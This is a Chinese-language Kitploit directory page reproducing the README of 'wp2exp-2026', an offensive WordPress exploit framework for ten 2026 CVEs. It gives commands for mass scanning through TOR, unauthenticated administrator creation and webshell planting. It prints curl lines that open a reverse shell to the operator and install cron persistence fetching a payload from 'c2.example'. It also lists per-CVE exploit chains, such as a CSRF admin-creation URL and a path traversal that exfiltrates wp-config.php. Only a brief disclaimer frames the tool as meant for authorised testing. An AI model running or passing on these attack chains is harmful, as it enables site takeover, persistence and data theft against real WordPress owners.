Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wp2exp-2026 — WordPress All-in-One Exploit Framework — 检测器、扫描器、枚举器、漏洞利用、权限提升。来自 2026-08 波次的 10 个 CVE,包括 CVE-2026-63030 (wp2shell)。 | Kitploit
工具/GitHubGitHub/rechandra/wp2exp-2026
权限提升侦察漏洞扫描器漏洞利用框架Web应用程序漏洞利用后渗透利用渗透测试Payload 开发
GitHubrechandra/wp2exp-2026

wp2exp-2026

WordPress All-in-One Exploit Framework — 检测器、扫描器、枚举器、漏洞利用、权限提升。来自 2026-08 波次的 10 个 CVE,包括 CVE-2026-63030 (wp2shell)。

查看仓库
517天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

wp2exp_2026 🔥

WordPress 一体化漏洞利用框架 — 检测器 · 扫描器 · 枚举器 · 利用 · 权限提升

wp2exp_2026 是 wp2shell 框架更名后的继任者,久经实战检验。它将原始 wp2shell 检测器/利用链、三套公开的 CVE-2026-63030 PoC 工具包(Ch4120N、shinthink、SentinelX),以及通过 TOR darkweb-intel 管道从 NVD / GitHub Advisories / CISA KEV 抓取的 2026 年 8 月 WordPress CVE 浪潮,合并为一个脚本 —— 可引导目标从被动指纹识别一路走到已验证的 WebShell。

root@kitploit:~
┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘

⚠️ 仅限授权测试。 scan 模式为非破坏性的。利用模式明确要求使用 --mode。你有责任确保对每个目标都拥有书面授权。


📦 安装

root@kitploit:~
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks

无需 API 密钥,无需数据库,无需编译。


🚀 快速开始

root@kitploit:~
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com

# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell

# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050

🔧 命令行参考

root@kitploit:~
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]

🧭 分模式指南

模式 1:scan — 检测器 + 扫描器 + 枚举器(安全)

非破坏性。对任何目标都应首先使用此模式。

按顺序执行的操作:

示例:

root@kitploit:~
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts

模式 2:exploit — 扫描 + 利用

包含 scan 的全部功能,外加:

示例:

root@kitploit:~
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200

模式 0:--verify — 环境自检

在任何扫描之前验证运行环境:Python ≥3.8、PySocks 可用性(SOCKS5/TOR)、代理可达性(若设置了 --proxy)、CVE 矩阵完整性、版本解析器正确性。

root@kitploit:~
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050

模式 3:shell — 直达 WebShell 的完整链路

包含 exploit 的全部功能,外加权限提升:如果管理员创建成功,脚本将:

  1. 登录 wp-login.php(cookie jar)
  2. 路径 A(主题): 提取主题编辑器的 _wpnonce + 当前主题 → 通过 admin-ajax.php?action=edit-theme-plugin-file 写入 WebShell
  3. 路径 B(插件,回退): 如果主题编辑器不可用 → 构建包含 shell 的插件 zip,通过 update.php?action=upload-plugin 上传并激活
  4. 验证: 通过 shell 执行 id —— 打印实时命令输出

WebShell 类型(--shell):

示例:

root@kitploit:~
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...

成功运行后的手动 shell 用法:

root@kitploit:~
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'

# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'

🧨 CVE 覆盖(2026 年 8 月浪潮)

各 CVE 的利用链(代码中已记录)

  • FormGent (3141): DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — 路由注册时未包含认证中间件;令牌是相对路径的原始 base64 编码(可伪造)。已修复版本使用签名的 UploadFileToken。
  • AI Engine (15988): reauth_for_authorize 使用子字符串匹配测试,将 /mcp/v1/oauth/authorize 与包含查询字符串的 REQUEST_URI 进行比对。向任意 REST 请求追加 &x=/mcp/v1/oauth/authorize 即可恢复 cookie 用户的完整身份。经典 CSRF:管理员访问构造的 URL 即可创建攻击者账户。
    root@kitploit:~
    https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
    
  • Bit Integrations (15006): 插件设置 wpcf7_verify_nonce => __return_true → CF7 提交无需 nonce;提交一个包含 ../../../../wp-config.php 的文件字段,集成动作(webhook/email)即可外泄该文件。
  • Nex Forms (15450): insert_record() 存储攻击者可控的文件 location,随后 在未进行 /白名单校验的情况下调用 。

🕶️ TOR / Darkweb 集成

该脚本基于 TOR darkweb-intel 管道收集的情报构建(NVD 最新 CVE 抓取、GitHub Advisories、CISA KEV),并支持匿名扫描:

root@kitploit:~
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)

已验证行为: 代理管道已通过 check.torproject.org/api/ip 验证 → 经出口节点 192.42.116.45 返回 {"IsTor":true}。


📊 输出与报告

root@kitploit:~
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'

报告结构:

root@kitploit:~
{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}

🧪 验证

已于 2026-08-04 在模拟的易受攻击 WordPress 实验室中完成验证 —— QA 测试套件:32/32 项检查全部通过(所有模式、JSON 纯净性、多目标、裸主机名规范化、mapster 草稿/私密文章泄漏、SQLi 提取数据库版本 + 管理员哈希、完整 shell 链):

root@kitploit:~
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45

🧩 路线图 / 贡献

  • 将 SQLi 自动提取(union 引擎)接入 exploit 模式(--sqli-info)
  • SQLi oEmbed 创建管理员回退(shinthink 链)
  • 插件 zip WebShell 上传回退
  • --verify 环境自检
  • WordPress 用户名 → 密码喷洒模块(XMLRPC multicall)
  • 从 darkweb_intel.py 输出自动刷新 CVE 矩阵
  • HTML 报告生成器

欢迎提交 PR。请默认保持载荷的非破坏性。


⚖️ 许可证与道德规范

MIT。仅限授权测试。 切勿对你不拥有或未获得书面测试授权的资产运行 --mode exploit / --mode shell。作者对滥用行为不承担任何责任。

下载工具
参数默认值描述
targets—一个或多个基础 URL(https://site.com 或裸域名 site.com)
-f, --file—包含目标的文件,每行一个(允许 # 注释)
--modescanscan = 仅检测 · exploit = 扫描 + 利用 · shell = 扫描 + 利用 + WebShell
--shellminiWebShell 类型:mini(单行命令执行)或 full(文件管理 / 下载 / 反弹 shell / cron 持久化)
--mapster-dump0通过 CVE-2026-14839 导出 N 个文章 ID(0 = 禁用)
--sqli-infooff通过 SQLi(CVE-2026-60137)提取 db_version / siteurl / 管理员密码哈希 / 表前缀
--verifyoff环境自检(python、PySocks、代理可达性、CVE 矩阵、版本解析器)并退出
--proxy—HTTP 代理或 SOCKS5:socks5h://127.0.0.1:9050(TOR)
--timeout15每个请求的超时时间(秒)
--threads5并行目标数(仅在多目标 / -f 时使用)
--json—将机器可读的 JSON 报告打印到 stdout
-o, --output—将完整 JSON 报告写入文件
#阶段检查项
1指纹识别通过 /feed/ generator、/readme.html、meta generator、REST API generator 获取 WordPress 版本 —— 若版本位于 wp2shell 漏洞影响范围(6.9.0–6.9.4、7.0.0–7.0.1)则标记
2WAF 检测通过响应头 + 页面特征标记 Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5
3XMLRPCsystem.listMethods 探测 → 标记 multicall 暴力破解和 pingback SSRF 攻击面
4用户枚举REST /wp-json/wp/v2/users + ?rest_route= 回退 + 作者归档(?author=N)
5插件枚举读取全部 8 个受跟踪插件的 readme.txt Stable tag —— 对照 CVE 矩阵标记易受攻击的版本
6wp2shell 探测安全批处理 desync 探测(CVE-2026-63030)—— 发送畸形 primer + 对不存在的分类发送无害 DELETE;查找 handler 劫持标记(parse_path_failed、block_cannot_read、rest_batch_not_allowed)
7CVE 检查针对全部 10 个 CVE 的实时行为探测 + 版本检查(见下表)
利用项条件执行内容
预认证创建管理员wp2shell VULNERABLE尝试 1:批处理路由混淆载荷以 roles:["administrator"] 落地 POST /wp/v2/users。尝试 2(回退):SQLi oEmbed 缓存投毒链(shinthink)—— union 注入 customize_changeset 以劫持 oEmbed 缓存并创建管理员。成功时打印 username / password
SQLi 信息提取--sqli-info基于报错/union 的提取(CVE-2026-60137):db_version、siteurl、首个管理员 user_pass 哈希、表前缀
Mapster 内容导出--mapster-dump N通过 /wp-json/mapster-wp-maps/feature?id=N 枚举文章 ID 1..N,收集草稿 / 待发布 / 私密 / 已删除文章标题 + 完整内容(CVE-2026-14839)
类型功能
mini?k=KEY&c=COMMAND → 纯文本命令输出
fulla=cmd 命令执行 · a=upload 文件写入(b64) · a=download 文件读取 · a=rev 反弹 shell(h=HOST&p=PORT) · a=persist crontab 持久化(u=URL) · 默认 phpinfo()
CVE目标CVSS类型检测利用
CVE-2026-63030WP Core 6.9.0–6.9.4, 7.0.0–7.0.19.8REST 批处理路由混淆 → RCE✅ desync 标记探测✅ 创建管理员 + shell
CVE-2026-60137WP Core(相同范围)5.9author__not_in SQLi✅ 版本 + 标记✅ 通过 63030 链
CVE-2026-3141FormGent ≤ 1.9.29.1未授权任意文件删除✅ 实时 DELETE 探测✅ 可伪造的 b64 file_token
CVE-2026-13596Participants DB < 2.7.8.49.1未授权 SQLi(列表搜索)✅ 报错泄漏探测⚠️ 手动(盲注)
CVE-2026-15414Subscriptions for WooCommerce ≤ 2.0.08.8权限提升 _wps_plan_user_role✅ 版本✅ 链式利用文档
CVE-2026-15988AI Engine ≤ 3.6.58.8CSRF → 创建管理员✅ 命名空间探测✅ PoC URL 生成器
CVE-2026-15450Nex Forms Lite ≤ 9.2.38.1已认证任意文件删除✅ 版本✅ 链式利用文档
CVE-2026-15006Bit Integrations ≤ 2.9.07.5未授权目录遍历(CF7 nonce 绕过)✅ 版本✅ 链式利用文档
CVE-2026-14839Mapster WP Maps < 1.24.07.5未授权私密/草稿文章导出✅ 实时探测✅ --mapster-dump
CVE-2026-15052MailChimp Subscribe ≤ 4.3.37.2未授权存储型 XSS✅ 版本✅ 链式利用文档
delete_file()
realpath()
unlink($file)
  • Subscriptions for WooCommerce (15414): save_meta_boxes() 从 $_POST 持久化 _wps_plan_user_role;仅应用 sanitize_key() + is_role() —— 两者都接受 administrator。